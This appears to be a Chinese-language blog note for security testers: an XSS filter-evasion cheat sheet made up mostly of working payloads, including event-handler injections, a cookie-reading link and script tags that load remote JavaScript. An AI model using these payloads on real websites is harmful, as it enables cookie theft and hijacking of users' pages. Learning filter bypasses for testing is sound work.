@Aklis
2016-01-27T15:15:49.000000Z
字数 3478
阅读 582
未分类
这篇文章重点在于提供对应用进行 XSS 测试的帮助。
写给那些了解了 XSS 但想继续深入学习绕过过滤的细节的人。
请关注这些写在脚本末尾且已经被测试过的攻击向量。
注入字符串,很多情况下一个script标签是存在漏洞是不需要写明XSS 这个词的。
也许是一整个通过 URL 编码的字符串。
Tips:如果你需要快速地检查这个页面是否存在 XSS,通过写入无意义的『纯文本』就够了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
这是最简单直接的 XSS 了,同时很可能被发现。但总是要试一试。
对于现代浏览器的容错机制来说,引号不是必要的。(但作为一名前端来说,强迫症你能不写?)
<script src="http://ha.ckers.org/xss.js"></script>
<img src=javascript:alert(1)>
<IMG SRC=JaVaScRiPt:alert('XSS')>
如果你需要包含一段同时使用了单引号和双引号的字符串,可以直接使用反引号来把他们直接包含起来。因为很多XSS过滤器并不过滤反引号。
省略掉href属性并进行XSS
<a onmouseover="alert(document.cookie)">xss link</a>
这种 XSS 攻击向量使用相关的渲染引擎在一个应该被引号包含起来的 标签里面新建我们的 XSS 攻击向量。我假设这个原本是用来校正错误代码的。
这会使得除了html标签之外的东西更加难以分析。
<img """><script>alert("xss")</script>">
又是因为容错,上面的结果会变成
<img><script>alert("xss")</script>">
如果引号都被过滤掉的话,你可以用String.fromCharCode来构建一个 XSS 攻击向量。
<img src=javascript:alert(String.fromCharCode(88,83,83))>
这个可以绕过大多数的 SRC 来源检查。
<img src=# onmouseover="alert('xss')">
<img src=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="javascript:alert('XSS')">
<img src=# onerror=javascript:alert('XSS')>
<img src=# onmouseover=javascript:alert('XSS')>
<img src="x" onerror="alert('XSS')">
火狐的对HTML渲染假定在 HTML 关键字之后,一个不是字母和数字的字符是无效的。并且将它看成是一个空白分隔符或者在html标签之后的一个不可用符号。那么问题来了,一些 XSS 的过滤器就判断这个被分隔符分隔的正是他们所查找的标签。
例如:
<script\s
不等于
<script/xss\s"
<script/xss src="http://127.0.0.1:8000/xss.js"></script>
<script/src="http://127.0.0.1:8000/xss.js"></script>
基于和上面同样的想法去拓展它。Gecko渲染引擎允许在事件属性和等号之间存在任何字符而不仅仅是字母,数字或者关键字符(例如引号,尖括号等等)。这使得更容易去绕过一些 XSS 过滤。注意这同时也适用于反引号。如下:
(已无用
<body onload!@#$%^&*()~+-_,.;:?[\/|]`=alert("XSS")>
这个 XSS 攻击向量能够使当前首先通过匹配尖括号的开关和闭合并且进行内嵌的标签的对比的检测引擎失效。
<<script>alert("XSS");//<</script>
<script src=http://127.0.0.1:8000/xss.js?< B >
虽然可以正确向src里写明的文件发出请求但无法正确执行。
<script src="//127.0.0.1:8000/xss.js">
当应用程序输出用户某些信息在一个script标签里并且你想要向其中注入你自己的js代码进去,例如
<script>var a="$ENV{QUERY_STRING}";</script>
。但是服务端程序对引号进行了转义,此时你可以转义它们的转义字符来绕过它们。当注入成功之后你会看到
<script>var a="\\";alert('XSS');//";</script>
提交的内容是
\";alert('XSS');//
另外还可以
</script><script>alert('XSS');</script>
强行截断
这是一个简单的 XSS 姿势。它先去闭合了然后插了进去。
</title><script>alert("XSS");</script>
body image
image dysrc
image lowsrc
css href
之类的默认在chrome、Firefox下不生效。
<svg/onload=alert(1)>
不像 OWASP 上面写的,而是使用base标签原来的功能来绕过。
但一旦开了 CSP 全部 GG
本质上是绕过一个写得渣的正则表达式。
对于那些只允许但不允许
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
绕过它有以下
<SCRIPT a=">" SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
//渲染之后
<script "a=">" "="" src="http://127.0.0.1:8000/xss.js"></script>
<SCRIPT a=">" '' SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
比较神奇的一个例子是
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:8000/xss.js"></SCRIPT>